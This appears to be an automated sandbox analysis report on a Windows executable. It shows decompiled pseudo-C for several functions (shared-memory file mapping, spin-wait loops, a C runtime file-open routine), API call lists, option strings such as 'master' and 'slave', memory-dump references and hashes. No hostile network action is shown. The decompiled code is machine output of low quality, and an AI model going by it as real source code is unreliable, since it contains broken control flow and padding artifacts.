								_t470 =  *(_t515 + 0x40) - _t503 & 0xfffffff8;
								__eflags = _t470 - 0x1000;
								if(_t470 < 0x1000) {
									L76:
									_push(_t470);
									E000ED2D0(_t503);
									 *(_t515 + 0x38) = 0;
									_t532 = _t532 + 8;
									 *(_t515 + 0x3c) = 0;
									 *(_t515 + 0x40) = 0;
									goto L77;
								} else {
									_t495 =  *(_t503 - 4);
									_t458 = _t470 + 0x23;
									_t503 = _t503 - _t495;
									__eflags = _t503 - 4 - 0x1f;
									if(__eflags > 0) {
										L96:
										E0010F44B(_t413, _t458, _t495, _t503, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t522);
										_push(_t458);
										_push(_t515);
										_push(_t503);
										_t505 = _t458;
										E00069FB0(_t413, _t505 + 0x18, _t505, _t515,  &_v468,  *((intOrPtr*)( *((intOrPtr*)(_t505 + 0x18)))),  *((intOrPtr*)(_t505 + 0x18)));
										_push(0x40);
										E000ED2D0( *((intOrPtr*)(_t505 + 0x18)));
										E00069AB0(_t413, _t505 + 0x10,  &_v468,  *((intOrPtr*)( *((intOrPtr*)(_t505 + 0x10)))),  *((intOrPtr*)(_t505 + 0x10)));
										_push(0x28);
										E000ED2D0( *((intOrPtr*)(_t505 + 0x10)));
										E00069C40(_t413, _t505 + 8,  &_v468,  *((intOrPtr*)( *((intOrPtr*)(_t505 + 8)))),  *((intOrPtr*)(_t505 + 8)));
										_push(0x38);
										_t348 = E000ED2D0( *((intOrPtr*)(_t505 + 8)));
										 *_t505 = 0x13aac8;
										return _t348;
									} else {
										_t503 = _t495;
										goto L76;
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L98:
			}

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?,DB2C627E,?,?), ref: 00061A1A
CoInitialize.OLE32(00000000), ref: 00061A22

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 000A6840: __CxxThrowException@8.LIBVCRUNTIME ref: 000A75BA

Part of subcall function 0009D610: __CxxThrowException@8.LIBVCRUNTIME ref: 0009D7A7

OleUninitialize.OLE32 ref: 000621A4
Wow64RevertWow64FsRedirection.KERNEL32(?,?,0016FBB0,0016FBB0,?,?), ref: 000621B1

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000D9BF8: __CxxThrowException@8.LIBVCRUNTIME ref: 000D9C0F

Part of subcall function 000D9C35: std::invalid_argument::invalid_argument.LIBCONCRT ref: 000D9C41
Part of subcall function 000D9C35: __CxxThrowException@8.LIBVCRUNTIME ref: 000D9C4F

Strings

invalid map<K, T> key, xrefs: 000621FE
master, xrefs: 00061ADC, 00061F6E
ipc, xrefs: 00061C4F
slave,s, xrefs: 00061AF2
options, xrefs: 00061A3C
log, xrefs: 00061ACB, 00061E9D
log,l, xrefs: 00061AD0
ipc,i, xrefs: 00061C55
slave, xrefs: 00061AED, 00061EF5
master,m, xrefs: 00061AE1

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$Wow64$Redirection$DisableFeatureInitializePresentProcessorRevertUninitialize___raise_securityfailurestd::invalid_argument::invalid_argument
String ID: invalid map<K, T> key$ipc$ipc,i$log$log,l$master$master,m$options$slave$slave,s
API String ID: 2809779244-3557542427
Opcode ID: f46d2aa1bf7c76a8e0372d38e013af59a33071e0539c0465094a3bb95c8a4cfd
Instruction ID: 02b41117cae670fb85d6cf53a04272e61ffb245123c72ee0d26cd4c73cf85163
Opcode Fuzzy Hash: f46d2aa1bf7c76a8e0372d38e013af59a33071e0539c0465094a3bb95c8a4cfd
Instruction Fuzzy Hash: EB32D071900218DFDB24DF64CD49BDEBBF6AF19304F148198E449AB292DB75AE84CF90

Uniqueness

Uniqueness Score: 100.00%

Function 00075260, Relevance: 18.3, APIs: 12, Instructions: 301
filesleepthreadUNIQUE

Download Yara Rule

C-Code - Quality: 58%

			E00075260(void* __ebx, intOrPtr __ecx, signed char __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8, signed char _a12, intOrPtr _a24, signed char* _a28, signed char _a32) {
				signed char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char _v32;
				char _v48;
				signed char _v56;
				intOrPtr _v60;
				signed char _v64;
				char _v80;
				char _v88;
				char _v132;
				char _v176;
				char _v220;
				char _v264;
				signed int _v272;
				signed char _v276;
				char _v284;
				intOrPtr _v288;
				signed char _v296;
				long _v300;
				signed char _v304;
				signed char* _v308;
				void* _v312;
				intOrPtr _v320;
				signed char _v328;
				void* _v332;
				intOrPtr _v340;
				signed char _v348;
				char _v356;
				char _v364;
				char _v372;
				char _v380;
				struct _SYSTEM_INFO _v416;
				char* _v456;
				void* __ebp;
				signed int _t93;
				signed int _t94;
				intOrPtr _t96;
				signed char* _t104;
				signed char _t105;
				intOrPtr* _t107;
				signed char _t108;
				long _t109;
				void* _t110;
				signed char _t111;
				int _t112;
				signed char _t116;
				char* _t122;
				signed char _t123;
				signed char* _t124;
				signed char _t127;
				void* _t128;
				void* _t132;
				void* _t134;
				void* _t138;
				void* _t142;
				void* _t152;
				signed char _t157;
				intOrPtr* _t165;
				signed char _t169;
				signed char _t173;
				char* _t183;
				signed char _t185;
				intOrPtr _t191;
				signed char _t194;
				signed char _t197;
				void* _t201;
				signed int _t202;
				void* _t204;
				intOrPtr _t205;

				_t193 = __edi;
				_push(0xffffffff);
				_push(E0012F936);
				_push( *[fs:0x0]);
				_t205 = _t204 - 0x194;
				_t93 =  *0x16f170; // 0xdb2c627e
				_t94 = _t93 ^ _t202;
				_v24 = _t94;
				_push(__edi);
				_push(_t94);
				 *[fs:0x0] =  &_v16;
				_v20 = _t205;
				_t162 = __ecx;
				_v288 = __ecx;
				_t165 = _a8;
				_t191 = _a24;
				_v56 = 0;
				_v32 = 0;
				_v28 = 0xf;
				_v48 = 0;
				_t96 = _a4;
				_v8 = 0;
				if(_t96 == 1) {
					_v64 = 0;
					_v60 = 0xf;
					_v80 = 0;
					_v8 = 1;
					_v304 = 0;
					E00055DF0(__ecx,  &_v88, __edi, 1,  *_t165, 0xc0000000, 0,  &_v304); // executed
					_v8 = 0;
					E00055DA0( &_v88,  &_v56);
					E00055D40(__ecx,  &_v88, __edi);
					goto L13;
				} else {
					_t197 = _a12;
					if(_t197 < 0x78) {
						_push(_t165);
						_t134 = E000556A0( &_v356, 0x12);
						_t183 =  &_v132;
						E000557B0(__ecx, _t183, __edi, _t197, _t134);
						E001047B7( &_v132, 0x16cb2c);
						goto L54;
					} else {
						if(_t96 != 0) {
							L13:
							_t205 = _t205 - 0x14;
							_t169 =  &_v348;
							_push(0xc0000000);
							E0007D0D0(_t169,  &_v56); // executed
							_v8 = 0xd;
							_t104 = _v348;
							_v308 = _t104;
							_t105 =  *_t104;
							_t162 = Sleep;
							_t194 = 0;
							asm("xorps xmm0, xmm0");
							_v276 = 0;
							_t197 = 0;
							__eflags = 0;
							asm("movlpd [ebp-0x118], xmm0");
							_v272 = 0;
							while(1) {
								__eflags = _t105 - 1;
								if(_t105 == 1) {
									goto L16;
								}
								__eflags = _t105;
								if(_t105 == 0) {
									goto L16;
								}
								__eflags = _t105 - 2;
								if(_t105 != 2) {
									goto L56;
								} else {
									_t123 = _a32;
									_t173 = _v348 + 8;
									__eflags = _t123 - 1;
									if(_t123 == 1) {
										L45:
										_t124 = _a28;
										__eflags =  *_t124;
										if( *_t124 == 0) {
											 *_t124 = _t173;
										}
									} else {
										__eflags = _t123;
										if(_t123 != 0) {
											goto L45;
										}
									}
									E00055C40(_v288,  &_v348);
									_t127 = _v348;
									__eflags = _t127;
									if(_t127 != 0) {
										_t132 = _t127 - _v340;
										__eflags = _t132;
										UnmapViewOfFile(_t132);
										_v348 = 0;
									}
									_t128 = _v332;
									goto L50;
								}
								goto L58;
								L16:
								__eflags = _t197;
								if(_t197 == 0) {
									_t116 =  *0x17a678; // 0x4
									__eflags = _t116;
									if(_t116 == 0) {
										GetSystemInfo( &_v416);
										_t116 = _v416.dwNumberOfProcessors;
									}
									_t169 = 1;
									__eflags = 1 - _t116;
									asm("sbb esi, esi");
									_t197 = (_t197 & 0xffffffe0) + 0x20;
									__eflags = _t197;
									_v272 = _t197;
								}
								__eflags = _t197 - 8;
								if(_t197 >= 8) {
									__eflags = _t197 - 0x20;
									if(__eflags >= 0) {
										if(__eflags != 0) {
											__eflags = _t194;
											if(_t194 != 0) {
												_t107 = E000641A0(8);
												_t108 =  *_t107( &_v300);
												__eflags = _t108;
												if(_t108 != 0) {
													_t169 = _v296;
													_t109 = _v300;
												} else {
													_t109 = GetTickCount();
													_t169 = 0;
													_v300 = _t109;
													_v296 = 0;
												}
												_t110 = _t109 - _v284;
												asm("sbb ecx, [ebp-0x114]");
												__eflags = _t169;
												if(__eflags > 0) {
													L38:
													_t111 = 0;
													__eflags = 0;
												} else {
													if(__eflags < 0) {
														L37:
														_t111 = 1;
													} else {
														__eflags = _t110 - _t194;
														if(_t110 >= _t194) {
															goto L38;
														} else {
															goto L37;
														}
													}
												}
												__eflags = _t111;
												if(_t111 != 0) {
													goto L27;
												} else {
													_v276 = 0;
													goto L41;
												}
												goto L58;
											} else {
												__eflags = _v272 & 0x00000001;
												if((_v272 & 0x00000001) == 0) {
													L41:
													_push(1);
													goto L29;
												} else {
													L27:
													_t112 = SwitchToThread();
													__eflags = _t112;
													if(_t112 == 0) {
														_push(_t112);
														L29:
														Sleep();
													}
												}
											}
										} else {
											_t169 =  &_v284;
											E00055A90(_t169);
											_t197 = _v272;
										}
									} else {
										asm("pause");
									}
								}
								_v272 = _t197 + 1;
								_t105 =  *_v308;
								_t197 = _v272;
								_t194 = _v276;
							}
						} else {
							_push(_v288);
							_push(_t191);
							_push(_t197);
							E0007CFF0( &_v56, _t165, __edi, _t197);
							_t205 = _t205 - 8;
							_v8 = 6;
							_push(0xc0000000);
							E0007D0D0( &_v328,  &_v56);
							_v8 = 7;
							_t185 = 1;
							_t193 = _v328;
							asm("lock cmpxchg [edi], ecx");
							if(0 != 0) {
								__eflags = 0 - 1;
								if(0 != 1) {
									__eflags = 0 - 2;
									if(0 != 2) {
										L54:
										_push(_t183);
										_t138 = E000556A0( &_v364, 0x13);
										_t185 =  &_v176;
										E000557B0(_t162, _t185, _t193, _t197, _t138);
										E001047B7( &_v176, 0x16cb2c);
									}
								}
								_push(_t185);
								_t142 = E000556A0( &_v372, 9);
								_t169 =  &_v220;
								E000557B0(_t162, _t169, _t193, _t197, _t142);
								E001047B7( &_v220, 0x16cb2c);
								_v20 = _t205;
								_v8 = 0xa;
								E001047B7(0, 0);
								L56:
								_push(_t169);
								E000557B0(_t162,  &_v264, _t194, _t197, E000556A0( &_v380, 0x13));
								E001047B7( &_v264, 0x16cb2c);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t202);
								_t122 = _v456;
								 *_t122 = 0;
								return _t122;
							} else {
								_t201 = _t197 + 0xfffffff8;
								_t152 = _v328 + 8;
								if(_a32 != 1) {
									E00077FC0(_t152, _t201);
								}
								E00055C40(_t162,  &_v328);
								 *_t193 = 2;
								_t157 = _v328;
								if(_t157 != 0) {
									UnmapViewOfFile(_t157 - _v320);
									_v328 = 0;
								}
								_t128 = _v312;
								L50:
								if(_t128 != 0xffffffff) {
									CloseHandle(_t128);
								}
								E00055D40(_t162,  &_v56, _t194);
								 *[fs:0x0] = _v16;
								return E000ECED8(_v24 ^ _t202);
							}
						}
					}
				}
				L58:
			}

APIs

UnmapViewOfFile.KERNEL32(?,00000000,C0000000,00000000,7757EEF2), ref: 00075367

Part of subcall function 00055DF0: BaseThreadInitThunk.KERNEL32(00000005,00000000,0015063E), ref: 00055E9F
Part of subcall function 00055DF0: CreateFileMappingA.KERNEL32(000000FF,0015063E,00000002,00000000,?,0015063E), ref: 00055EBB
Part of subcall function 00055DF0: GetLastError.KERNEL32 ref: 00055ECB
Part of subcall function 00055DF0: GetLastError.KERNEL32 ref: 00055EF1
Part of subcall function 00055DF0: __CxxThrowException@8.LIBVCRUNTIME ref: 00055F20
Part of subcall function 00055DF0: __CxxThrowException@8.LIBVCRUNTIME ref: 00055F47
Part of subcall function 00055DF0: __CxxThrowException@8.LIBVCRUNTIME ref: 00055F6E

Part of subcall function 00055D40: CloseHandle.KERNEL32(00000000), ref: 00055D4A

Part of subcall function 0007D0D0: GetSystemInfo.KERNEL32(?,DB2C627E,?,00000000,00000000), ref: 0007D181
Part of subcall function 0007D0D0: GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1A5
Part of subcall function 0007D0D0: MapViewOfFileEx.KERNELBASE(?,00000004,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0007D1F4
Part of subcall function 0007D0D0: GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1FE
Part of subcall function 0007D0D0: CloseHandle.KERNEL32(000000FF), ref: 0007D229
Part of subcall function 0007D0D0: GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D235
Part of subcall function 0007D0D0: GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D239
Part of subcall function 0007D0D0: DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000002), ref: 0007D24A
Part of subcall function 0007D0D0: GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D254
Part of subcall function 0007D0D0: __CxxThrowException@8.LIBVCRUNTIME ref: 0007D2DF

GetSystemInfo.KERNEL32(?,00000000,C0000000), ref: 00075456
GetTickCount.KERNEL32 ref: 000754F0

Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B08
Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B17
Part of subcall function 00055A90: GetTickCount.KERNEL32(?,-00000001,?,A4C67FFF,00038D7E,?,?), ref: 00055B39

SwitchToThread.KERNEL32(00000000,C0000000), ref: 000754AC
Sleep.KERNEL32(00000000), ref: 000754B7

Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 000641DA
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 000641E9
Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 00064244
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 00064253
Part of subcall function 000641A0: GetModuleHandleA.KERNEL32 ref: 00064276
Part of subcall function 000641A0: GetProcAddress.KERNEL32(?), ref: 0006429A

UnmapViewOfFile.KERNEL32(?,00000000,C0000000), ref: 00075592
CloseHandle.KERNEL32(?), ref: 000755AE

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000755FA
__CxxThrowException@8.LIBVCRUNTIME ref: 00075625
__CxxThrowException@8.LIBVCRUNTIME ref: 00075650
__CxxThrowException@8.LIBVCRUNTIME ref: 00075663

Part of subcall function 000557B0: FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
Part of subcall function 000557B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

__CxxThrowException@8.LIBVCRUNTIME ref: 0007568E

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ErrorHandleLast$FileThread$CloseSleepSwitchView$CountCurrentInfoProcessSystemTickUnmapUnothrow_t@std@@@__ehfuncinfo$??2@$AddressBaseCreateDuplicateExceptionFeatureFormatFreeInitLocalMappingMessageModulePresentProcProcessorRaiseThunk___raise_securityfailure
String ID:
API String ID: 4019620660-0
Opcode ID: ed6562771c6917ad634a5e41c0b0414fcaa5ce17b75956adfffb60278d23be9a
Instruction ID: f3a40b9f9f59238d3c4154806da5ee72c8f7d9505f2dd9f25a4222b6d84583d7
Opcode Fuzzy Hash: ed6562771c6917ad634a5e41c0b0414fcaa5ce17b75956adfffb60278d23be9a
Instruction Fuzzy Hash: 23C1D070D00618DBDF24DF64CC95BEEB7B4AF15306F508199E809A7281DBB8AE84CF94

Uniqueness

Uniqueness Score: 100.00%

Function 0012A524, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E0012A524(void* __ecx, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t164;
				intOrPtr _t180;
				signed int* _t190;
				signed int _t192;
				char _t197;
				signed int _t203;
				signed int _t206;
				signed int _t215;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t227;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed char _t242;
				intOrPtr _t245;
				void* _t248;
				void* _t252;
				void* _t262;
				signed int _t263;
				signed int _t266;
				signed int _t269;
				signed int _t270;
				void* _t272;
				void* _t274;
				void* _t275;
				void* _t277;
				void* _t278;
				void* _t280;
				void* _t284;

				_t262 = E0012A287(__ecx,  &_v72, _a16, _a20, _a24);
				_t192 = 6;
				memcpy( &_v48, _t262, _t192 << 2);
				_t274 = _t272 + 0x1c;
				_t248 = _t262 + _t192 + _t192;
				_t263 = _t262 | 0xffffffff;
				if(_v36 != _t263) {
					_t114 = E001251AB(_t248, _t263, __eflags);
					_t190 = _a8;
					 *_t190 = _t114;
					__eflags = _t114 - _t263;
					if(_t114 != _t263) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t275 = _t274 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t275,  &_v48, 1 << 2);
						_t197 = 0;
						_t122 = E0012A1F2(); // executed
						_t252 = _t122;
						_t277 = _t275 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t252); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E001250F4(_t197,  *_t190, _t252);
								_t242 = _v5 | 0x00000001;
								_v5 = _t242;
								_v48 = _t242;
								 *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) = _t242;
								_t203 =  *_t190;
								_t205 = (_t203 & 0x0000003f) * 0x30;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x179eb0 + (_t203 >> 6) * 4)) + 0x29 + (_t203 & 0x0000003f) * 0x30)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L20:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t278 = _t277 - 0x18;
									_t206 = 6;
									_push( *_t190);
									memcpy(_t278,  &_v48, _t206 << 2);
									_t134 = E00129FA5(_t190,  &_v48 + _t206 + _t206,  &_v48);
									_t280 = _t278 + 0x30;
									__eflags = _t134;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x29 + ( *_t190 & 0x0000003f) * 0x30)) = _v6;
										 *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t225 =  *_t190;
												_t227 = (_t225 & 0x0000003f) * 0x30;
												_t164 =  *((intOrPtr*)(0x179eb0 + (_t225 >> 6) * 4));
												_t87 = _t164 + _t227 + 0x28;
												 *_t87 =  *(_t164 + _t227 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t266 = _v44;
										__eflags = (_t266 & 0xc0000000) - 0xc0000000;
										if((_t266 & 0xc0000000) != 0xc0000000) {
											L31:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L31;
											}
											CloseHandle(_v12);
											_v44 = _t266 & 0x7fffffff;
											_t215 = 6;
											_push( &_v24);
											_push(_a12);
											memcpy(_t280 - 0x18,  &_v48, _t215 << 2);
											_t245 = E0012A1F2();
											__eflags = _t245 - 0xffffffff;
											if(_t245 != 0xffffffff) {
												_t217 =  *_t190;
												_t219 = (_t217 & 0x0000003f) * 0x30;
												__eflags = _t219;
												 *((intOrPtr*)( *((intOrPtr*)(0x179eb0 + (_t217 >> 6) * 4)) + _t219 + 0x18)) = _t245;
												goto L31;
											}
											E0010FA8F(GetLastError());
											 *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
											E001252BD( *_t190);
											L10:
											goto L2;
										}
									}
									_t269 = _t134;
									goto L22;
								} else {
									_t269 = E0012A403(_t205,  *_t190);
									__eflags = _t269;
									if(__eflags != 0) {
										L22:
										E0011D72A(__eflags,  *_t190);
										return _t269;
									}
									goto L20;
								}
							}
							_t270 = GetLastError();
							E0010FA8F(_t270);
							 *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x179eb0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
							CloseHandle(_t252);
							__eflags = _t270;
							if(_t270 == 0) {
								 *((intOrPtr*)(E0010FAC5())) = 0xd;
							}
							goto L2;
						}
						_t234 = _v44;
						__eflags = (_t234 & 0xc0000000) - 0xc0000000;
						if((_t234 & 0xc0000000) != 0xc0000000) {
							L9:
							_t235 =  *_t190;
							_t237 = (_t235 & 0x0000003f) * 0x30;
							_t180 =  *((intOrPtr*)(0x179eb0 + (_t235 >> 6) * 4));
							_t33 = _t180 + _t237 + 0x28;
							 *_t33 =  *(_t180 + _t237 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E0010FA8F(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t284 = _t277 - 0x18;
						_v44 = _t234 & 0x7fffffff;
						_t239 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t284,  &_v48, _t239 << 2);
						_t197 = 0;
						_t252 = E0012A1F2();
						_t277 = _t284 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E0010FAB2()) =  *_t186 & 0x00000000;
						 *_t190 = _t263;
						 *((intOrPtr*)(E0010FAC5())) = 0x18;
						goto L2;
					}
				} else {
					 *(E0010FAB2()) =  *_t188 & 0x00000000;
					 *_a8 = _t263;
					L2:
					return  *((intOrPtr*)(E0010FAC5()));
				}
			}

0x0012a547
0x0012a54b
0x0012a54c
0x0012a54c
0x0012a54c
0x0012a54e
0x0012a554
0x0012a56f
0x0012a574
0x0012a577
0x0012a579
0x0012a57b
0x0012a59a
0x0012a5a1
0x0012a5a8
0x0012a5ab
0x0012a5b7
0x0012a5ba
0x0012a5c2
0x0012a5c3
0x0012a5c6
0x0012a5c6
0x0012a5c8
0x0012a5cd
0x0012a5cf
0x0012a5d2
0x0012a5da
0x0012a5dd
0x0012a64a
0x0012a64b
0x0012a651
0x0012a653
0x0012a69c
0x0012a69f
0x0012a6a8
0x0012a6ab
0x0012a6ae
0x0012a6b0
0x0012a6b0
0x0012a6b0
0x0012a6a1
0x0012a6a4
0x0012a6a4
0x0012a6b5
0x0012a6b8
0x0012a6c4
0x0012a6c9
0x0012a6d5
0x0012a6df
0x0012a6e3
0x0012a6ed
0x0012a6f0
0x0012a6fb
0x0012a700
0x0012a710
0x0012a713
0x0012a717
0x0012a718
0x0012a71e
0x0012a723
0x0012a726
0x0012a728
0x0012a72a
0x0012a72f
0x0012a732
0x0012a734
0x0012a75e
0x0012a782
0x0012a786
0x0012a78a
0x0012a78c
0x0012a790
0x0012a792
0x0012a79c
0x0012a79f
0x0012a7a6
0x0012a7a6
0x0012a7a6
0x0012a7a6
0x0012a790
0x0012a7ab
0x0012a7b7
0x0012a7b9
0x0012a844
0x0012a844
0x00000000
0x0012a7bf
0x0012a7bf
0x0012a7c3
0x00000000
0x00000000
0x0012a7c8
0x0012a7da
0x0012a7e2
0x0012a7e5
0x0012a7e6
0x0012a7e9
0x0012a7f0
0x0012a7f5
0x0012a7f8
0x0012a82c
0x0012a836
0x0012a836
0x0012a840
0x00000000
0x0012a840
0x0012a801
0x0012a81a
0x0012a821
0x0012a644
0x00000000
0x0012a644
0x0012a7b9
0x0012a736
0x00000000
0x0012a702
0x0012a709
0x0012a70c
0x0012a70e
0x0012a738
0x0012a73a
0x00000000
0x0012a740
0x00000000
0x0012a70e
0x0012a700
0x0012a65b
0x0012a65e
0x0012a679
0x0012a67e
0x0012a684
0x0012a686
0x0012a691
0x0012a691
0x00000000
0x0012a686
0x0012a5df
0x0012a5e6
0x0012a5e8
0x0012a61f
0x0012a61f
0x0012a629
0x0012a62c
0x0012a633
0x0012a633
0x0012a633
0x0012a63f
0x00000000
0x0012a63f
0x0012a5ea
0x0012a5ee
0x00000000
0x00000000
0x0012a5f0
0x0012a5ff
0x0012a604
0x0012a607
0x0012a608
0x0012a60b
0x0012a60b
0x0012a612
0x0012a614
0x0012a617
0x0012a61a
0x0012a61d
0x00000000
0x00000000
0x00000000
0x0012a57d
0x0012a582
0x0012a585
0x0012a58c
0x00000000
0x0012a58c
0x0012a556
0x0012a55b
0x0012a561
0x0012a563
0x00000000
0x0012a568

APIs

Part of subcall function 001251AB: EnterCriticalSection.KERNEL32(00000000,0016C770,0000001C,0012A574,?,?,00000000,?,00000000,0016C7D0,00000010,0012A51F,?,00000000,?,0012401A), ref: 00125252
Part of subcall function 001251AB: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000,?,00000000,0016C7D0,00000010,0012A51F,?,00000000,?,0012401A,?,00000001), ref: 0012525F

Part of subcall function 0012A1F2: CreateFileW.KERNELBASE(00000000,00000000,?,0012A5CD,?,?,00000000), ref: 0012A20F

GetLastError.KERNEL32 ref: 0012A638
__dosmaperr.LIBCMT ref: 0012A63F
GetFileType.KERNELBASE(00000000), ref: 0012A64B
GetLastError.KERNEL32 ref: 0012A655
__dosmaperr.LIBCMT ref: 0012A65E
CloseHandle.KERNEL32(00000000), ref: 0012A67E

Part of subcall function 001250F4: SetStdHandle.KERNEL32(000000F6,0012A6BD,00000000,?,?,?,?,0012A6BD,?,00000000), ref: 00125153

CloseHandle.KERNEL32(?), ref: 0012A7C8
GetLastError.KERNEL32 ref: 0012A7FA
__dosmaperr.LIBCMT ref: 0012A801

